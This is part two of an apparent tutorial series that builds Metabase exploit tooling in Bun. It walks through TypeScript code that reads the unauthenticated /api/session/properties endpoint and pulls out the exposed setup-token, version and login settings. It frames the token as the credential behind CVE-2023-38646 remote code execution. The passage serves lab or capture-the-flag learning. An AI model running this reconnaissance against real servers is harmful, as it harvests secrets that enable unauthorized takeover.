// Metabase Exploit Tooling with Bun · Part 2
Pre-auth Enumeration
Go back to the properties endpoint for the setup-token — the field that turns a version number into an exploit — and shape everything the target leaks before login into typed, structured output.
Part 1 fingerprinted the version from /api/session/properties. That same
response holds the field the exploit actually needs: the setup-token. This
part pulls it, collects a few other things the target gives away before you log
in, and prints them as a clean, typed result.
The setup-token
When Metabase first starts, it hasn’t been configured yet — no admin user, no database connected. To let the very first visitor finish that setup, Metabase hands out a setup-token: a secret that authorizes the one-time setup flow.
The catch is that it’s served to anyone, unauthenticated, at
/api/session/properties, and it stays there until setup is completed. On a
fresh or half-configured instance — like our lab, and like the Analytics box —
it’s just sitting in the JSON. In Part 3 we’ll see why holding that token is
enough to run commands; for now we just need to grab it.
Describing more of the response
In Part 1 our SessionProperties interface only named version and
setup-token. A few more fields are worth reading, so add them. Keys with
dashes have to be quoted:
interface SessionProperties {
version?: { tag?: string };
"setup-token"?: string | null;
"site-name"?: string | null;
"ldap-enabled"?: boolean;
"google-auth-client-id"?: string | null;
}
Every field is optional (?) because we don’t control what the server sends —
treat all of it as “might be missing.”
Collecting the findings
Rather than scatter props["..."] reads through the code, turn the raw response
into one tidy object. First describe its shape, then build it:
interface Findings {
version: string;
setupToken: string | null;
siteName: string | null;
authProviders: string[];
}
function enumerate(props: SessionProperties): Findings {
const authProviders: string[] = [];
if (props["google-auth-client-id"]) authProviders.push("google");
if (props["ldap-enabled"]) authProviders.push("ldap");
return {
version: props.version?.tag ?? "unknown",
setupToken: props["setup-token"] ?? null,
siteName: props["site-name"] ?? null,
authProviders,
};
}
enumerate takes the loose server response and returns a Findings object we
defined — so the rest of the tool works with known fields instead of guessing
at JSON keys. The authProviders array just records which external logins are
switched on; empty means local auth only.
Printing it
Reuse fetchProperties from Part 1, run it through enumerate, and print the
result as JSON so it’s both readable and easy to pipe into another tool later:
const props = await fetchProperties(BASE);
const found = enumerate(props);
console.log(JSON.stringify(found, null, 2));
Then note whether the token is present:
if (found.setupToken) {
console.log("\nSetup is not finished, so the setup-token is readable here.");
}
Run it against the lab:
$ bun run recon.ts
{
"version": "v0.46.6",
"setupToken": "SETUP-TOKEN-PLACEHOLDER",
"siteName": null,
"authProviders": []
}
Setup is not finished, so the setup-token is readable here.
(On your lab the setupToken is a real random value; it’s shown as a
placeholder here.)
Where we are
Two unauthenticated requests in, the tool reports the version, the exposed setup-token, and which logins are configured. The token is the whole game: it’s the credential CVE-2023-38646 abuses. Part 3 explains the mechanism — why a valid setup-token plus Metabase’s embedded H2 database turns a database connection string into remote code execution.